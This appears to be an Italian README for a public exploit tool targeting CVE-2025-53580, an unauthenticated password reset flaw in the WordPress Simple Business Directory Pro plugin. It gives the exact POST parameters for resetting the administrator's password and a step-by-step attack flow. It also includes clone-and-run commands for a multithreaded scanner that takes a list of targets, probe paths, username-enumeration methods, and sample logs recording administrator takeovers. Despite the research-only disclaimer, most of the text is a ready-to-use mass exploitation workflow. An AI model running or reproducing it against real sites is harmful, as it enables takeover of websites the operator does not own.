
WordPress Simple Business Directory Pro Plugin < 15.6.9 è vulnerabile a un'escalation dei privilegi ad alta priorità.
Il plugin WordPress Simple Business Directory Pro < 15.6.9 è vulnerabile a un'escalation di privilegi ad alta priorità
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
Causa principale:
Il plugin espone un modulo frontend di ripristino password (qcpd-restore-pwd) che accetta un qcpd-uid numerico (ID utente WordPress) e un nuovo valore pass. Prima della modifica della password non viene applicata alcuna autenticazione, token, nonce o verifica via email. Qualsiasi attaccante non autenticato può reimpostare la password dell'ID utente 1 (in genere l'amministratore del sito) e di qualsiasi altro utente inviando una singola richiesta POST, quindi autenticarsi con la password iniettata per ottenere pieno accesso amministrativo.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Discover SBD restore page │
│ Probe 24 candidate paths → match body containing "sbd" │
│ │
│ 2. Reset passwords by user ID │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (then 2, then 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerate usernames │
│ /?author=1..9 → redirect / body parse │
│ /wp-json/wp/v2/users → slug / username fields │
│ hostname heuristic + "admin" fallback │
│ │
│ 4. Login with injected password │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Check: wordpress_logged_in cookie present │
│ │
│ 5. Verify admin access (dual method) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users table │
│ │
│ 6. Write confirmed hit → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Successful hits file [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
La password iniettata per tutti i tentativi di reset è fissa internamente:
NxploitedNX
ID utente presi di mira per sito:
1,2,3(configurabili tramiteMAX_USER_ID)
list.txthttps://target1.com
target2.com
http://target3.com
Lo strumento esegue la scansione di 24 percorsi per ogni target cercando una pagina il cui corpo contiene sbd:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
Ogni login riuscito viene verificato tramite due controlli indipendenti prima di essere scritto su disco:
Metodo 1 — REST API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMED
Metodo 2 — Dashboard:
GET /wp-admin/users.php
→ adminmenu / users table markers present → ADMIN CONFIRMED
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
SOLO PER RICERCA SULLA SICUREZZA E ISTRUZIONE AUTORIZZATE.
L'autore non si assume alcuna responsabilità per l'uso contro sistemi
di cui l'operatore non è proprietario o per i quali non ha esplicita autorizzazione scritta al test.
L'uso non autorizzato viola il CFAA, il CMA e le leggi equivalenti in tutto il mondo.
Sei il solo responsabile delle tue azioni.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · Corretto in 15.6.9
| Campo | Dettaglio |
|---|
| CVE | CVE-2025-53580 |
| Plugin | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| Versioni interessate | Tutte le versioni < 15.6.9 |
| Autenticazione | Non richiesta |
| Tipo | Assegnazione privilegi errata → Reset password non autenticato |
| CWE | CWE-266 · Assegnazione privilegi errata |
| Metodo | Endpoint |
|---|
| Redirect autore | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| Euristica hostname | Prima etichetta del dominio |
| Fallback hardcoded | admin sempre incluso |